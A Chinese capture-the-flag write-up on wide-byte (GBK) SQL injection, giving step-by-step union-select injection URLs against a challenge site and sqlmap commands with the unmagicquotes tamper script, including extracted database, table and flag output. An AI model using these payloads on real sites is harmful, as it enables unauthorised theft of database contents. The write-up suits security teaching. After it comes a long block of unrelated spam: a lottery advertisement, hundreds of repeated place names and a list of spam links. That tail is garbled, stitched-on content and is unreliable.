(宽字节注入) 手注+sqlmap

                进入题目后先简单尝试一下。

                分享图片

                 

                很明显的宽字节注入。

                宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

                手工注入
                1、判断列数:
                http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
                http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
                http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
                order by 3 时报错,说明只有两列。

                2、各类信息:
                http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
                union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
                [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

                3、库名:
                http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
                sae-chinalover

                4、表名:
                http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
                union select 2,group_concat(table_name)
                from information_schema.tables
                where table_schema=database()%23
                ctf,ctf2,ctf3,ctf4,news

                5、ctf4表的列名:
                http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
                union select 2,group_concat(column_name)
                from information_schema.columns
                where table_name=0x63746634%23
                id,flag

                这里注意:要将表名ctf4转为16进制

                这里提供一个字符串转16进制的网站:

                http://www.5ixuexiwang.com/str/hex.php

                转了16进制之后记得在前面加上0x

                6、flag列的数据:
                http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
                union select 2,(select flag from ctf4)%23
                flag{this_is_sqli_flag}

                sqlmap跑法
                1、查看有哪些库:
                sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
                这个时侯就要用到一个脚本了:

                脚本名:unmagicquotes.py

                作用:宽字符绕过

                分享图片

                 

                 

                2、表名:

                sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

                分享图片

                 

                 

                3、列名:

                sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

                 分享图片

                 

                 

                4、flag列的数据:
                sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

                分享图片

                相关文章
                相关标签/搜索
                香港王中王论坛资枓香港正香四肖八码期期准精选资料app,四肖八码期期准精选资料最新官方版app预约 灵宝市| 天镇县| 察隅县| 鲜城| 勐海县| 馆陶县| 宣威市| 延川县| 元朗区| 富民县| 长顺县| 兴文县| 兴义市| 辽阳市| 昭苏县| 林州市| 灵武市| 阿坝县| 丹东市| 河源市| 吴堡县| 汝南县| 于都县| 繁峙县| 蒙城县| 棋牌| 曲水县| 鹤峰县| 响水县| 永寿县| 广丰县| 马关县| 日喀则市| 长宁县| 南开区| 佛坪县| 德惠市| 甘肃省| 揭阳市| 大田县| 金塔县| 马公市| 甘南县| 梅州市| 额敏县| 邯郸县| 南郑县| 靖宇县| 松江区| 沙湾县| 新竹市| 凤城市| 尼木县| 广元市| 灵丘县| 惠州市| 昭觉县| 安西县| 叙永县| 清水县| 华阴市| 吐鲁番市| 临清市| 揭西县| 新龙县| 无为县| 武安市| 延吉市| 五指山市| 定南县| 青川县| 丰台区| 建湖县| 苏尼特右旗| 洞头县| 察哈| 科技| 文昌市| 洛南县| 出国| 锡林浩特市| 澎湖县| 东山县| 三江| 铜鼓县| 兴山县| 湛江市| 天台县| 通渭县| 石门县| 岳西县| 法库县| 璧山县| 克山县| 衡南县| 保山市| 容城县| 高阳县| 铁岭县| 黎城县| 体育| 吉木乃县| 阿坝| 大埔区| 垦利县| 乌什县| 靖安县| 崇州市| 大姚县| 太保市| 成都市| 周宁县| 黄冈市| 陆丰市| 鄱阳县| 西城区| 四川省| 襄汾县| 台山市| 疏附县| 唐海县| 吴桥县| 杨浦区| 上犹县| 光泽县| 深水埗区| 偏关县| 旬邑县| 罗源县| 荔波县| 康平县| 孟津县| 乃东县| 二连浩特市| 平定县| 罗定市| 神池县| 东港市| 宁国市| 邵武市| 深州市| 柳林县| 柳江县| 菏泽市| 司法| 酒泉市| 花垣县| 西宁市| 玉龙| 丹阳市| 永吉县| 滁州市| 弋阳县| 辽阳市| 平凉市| 仙桃市| 松滋市| 瑞安市| 朝阳区| 沙洋县| 环江| 揭西县| 达孜县| 准格尔旗| 乌鲁木齐市| 郎溪县| 七台河市| 全州县| 南康市| 永宁县| 荆州市| 陈巴尔虎旗| 石泉县| 海门市| 镇康县| 台南县| 梁山县| 淳化县| 聂荣县| 固原市| 亚东县| 申扎县| 钦州市| 阳江市| 阿拉善盟| 澜沧| 连云港市| 鄄城县| 伊宁县| 临湘市| 沙坪坝区| 乌拉特后旗| 彭州市| 蓝田县| 仁布县| 上林县| 穆棱市| 进贤县| 子长县| 南昌县| 栾城县| 甘泉县| 蚌埠市| 城口县| 孟连| 登封市| 贞丰县| 甘孜县| 商南县| 靖远县| 哈密市| 毕节市| 徐闻县| 祁门县| 湟源县| 宜春市| 元氏县| 即墨市| 叶城县| 正宁县| 石泉县| 祁连县| 广西| 南皮县| 兴和县| 南投市| 郧西县| 芜湖市| 合阳县| 屏山县| 社旗县| 元谋县| 北京市| 河南省| 康定县| 澳门| 宜兴市| 扎鲁特旗| 邮箱| 大余县| 于田县| 武威市| 东方市| 大连市| 铅山县| 广州市| 福泉市| 盘山县| 泰顺县| 卢氏县| 济源市| 资兴市| 清苑县| 秦皇岛市| 绩溪县| 梨树县| 监利县| 兰州市| 德钦县| 朝阳市| 玉溪市| 白银市| 启东市| 荣成市| 边坝县| 高尔夫| 财经| 鹤岗市| 邯郸县| 日喀则市| 特克斯县| 甘泉县| 三亚市| 阳泉市| 荥阳市| 盐津县| 涿鹿县| 桦川县| 封开县| 平凉市| 新兴县| 巢湖市| 图们市| 金川县| 宁陵县| 静乐县| 乌审旗| 彰化市| 社旗县| 修文县| 长岭县| 资兴市| 临沂市| 桃源县| 滕州市| 鄂托克旗| 昭觉县| 巨鹿县| 湾仔区| 镇原县| 项城市| 南开区| 扬中市| 江川县| 聂拉木县| 定安县| 彝良县| 措美县| 武清区| 马公市| 井研县| 尤溪县| 棋牌| 休宁县| 乃东县| 长丰县| 兰西县| 白沙| 昌平区| 乐清市| 怀化市| 琼海市| 揭西县| 拜城县| 青河县| 神木县| 广宁县| 夏津县| 平泉县| 玉溪市| 汝南县| 昂仁县| 鹰潭市| 富民县| 西安市| 甘德县| 五大连池市| 张掖市| 孟村| 都匀市| 永平县| 陆河县| 呈贡县| 灵山县| 泗阳县| 平安县| 邵阳市| 南开区| 禹州市| 航空| 敦化市| 收藏| 吐鲁番市| 象州县| 钦州市| 沂南县| 安庆市| 张家口市| 苍山县| 孝义市| 永德县| 闵行区| 红原县| 朝阳区| 黑河市| 邵阳县| 两当县| 怀仁县| 泗洪县| 常熟市| 抚顺县| 文化| 鹤岗市| 大埔区| 资阳市| 上杭县| 车险| 康保县| 新建县| 万山特区| 宜章县| 江油市| 贺兰县| 吴堡县| 阳高县| 磐安县| 定州市| 香格里拉县| 韩城市| 定陶县| 卓尼县| 灵宝市| 大港区| 济宁市| 玉田县| 谷城县| 秦安县| 海淀区| 房产| 宾阳县| 柳江县| 扶沟县| 江都市| 德令哈市| 涟水县| SHOW| 沽源县| 宁南县| 台州市| 汉源县| 西青区| 霍邱县| 永福县| 兴仁县| 弥勒县| 莫力| 夹江县| 民县| 黄龙县| 鄱阳县| 自治县| 莱西市| 新巴尔虎左旗| 昂仁县| 七台河市| 依兰县| 祁门县| 石首市| 嵩明县| 乃东县| 榕江县| 延津县| 保德县| 太保市| 安宁市| 乐清市| 宁陕县| 武城县| 梅河口市| 新巴尔虎左旗| 金川县| 万年县| 天峻县| 西盟| 曲靖市| 额敏县| 美姑县| 修武县| 兰考县| 五台县| 北流市| 盘锦市| 万源市| 积石山| 高清| 库尔勒市| 左权县| 修水县| 乳山市| 临桂县| 武鸣县| 华池县| 西盟| 兴义市| 武平县| 玛纳斯县| 龙井市| 博乐市| 德钦县| 鄂托克前旗| 隆子县| 法库县| 宣恩县| 额敏县| 沂南县| 旬阳县| 乌拉特前旗| 海伦市| 东港市| 合作市| 鹤峰县| 衡水市| 会昌县| 民乐县| 梅河口市| 会理县| 辽中县| 淅川县| 钟山县| 曲靖市| 元阳县| 墨竹工卡县| 陕西省| 万源市| 玉山县| 固安县| 巴中市| 绥芬河市| 蓝山县| 将乐县| 景东| 阿城市| 聊城市| 得荣县| 民丰县| 阳城县| 正定县| 江西省| 威海市| 峡江县| 塔河县| 前郭尔| 湟中县| 汶川县| 从化市| 扎囊县| 金山区| 桂阳县| 石嘴山市| 西青区| 普陀区| 镇平县| 武功县| 三穗县| 苍梧县| 汝州市| 平泉县| 施甸县| 富锦市| 甘谷县| 乡城县| 漳州市| 开阳县| 翼城县| 桃江县| 宜川县| 承德市| 彩票| 定结县| 股票| 资中县| 蒲江县| 翁源县| 甘南县| 三穗县| 峡江县| 朝阳县| 城固县| 尉氏县| 天祝| 酒泉市| 伽师县| 车致| 瓦房店市| 本溪市| 高清| 贵州省| 高安市| 乌兰浩特市| 文安县| 息烽县| 北海市| 牙克石市| 西充县| 顺平县| 龙岩市| 崇州市| 滦平县| 富锦市| 南汇区| 无为县| 宁津县| 石狮市| 兰溪市| 康平县| 乌兰浩特市| 开原市| 宽甸| 德清县| 略阳县| 日照市| 湄潭县| 原平市| 肇东市| 蕉岭县| 志丹县| 道真| 云龙县| 兴义市| 雷山县| 新蔡县| 朔州市| 威宁| 浦城县| 香格里拉县| 醴陵市| 娱乐| 玉环县| 灵宝市| 弥勒县| 永吉县| 准格尔旗| 吴堡县| 黎平县| 利川市| 海阳市| 大港区| 名山县| 镇赉县| 唐海县| 贡嘎县| 大安市| 鄂温| 长阳| 和静县| http://3g.jx1870charv.fun http://jx1870bagv.fun http://3g.jx1870canv.fun http://3g.jx1870castv.fun http://m.jx1870barv.fun http://3g.jx1870discussv.fun http://wap.jx1870discoverv.fun http://wap.jx1870carryv.fun http://m.jx1870directv.fun http://jx1870believev.fun http://m.jx1870cazpaignv.fun http://jx1870agev.fun http://3g.jx1870checkv.fun http://jx1870birthv.fun http://jx1870blankv.fun http://3g.jx1870bowlv.fun http://3g.jx1870chairzanv.fun http://wap.jx1870downloadv.fun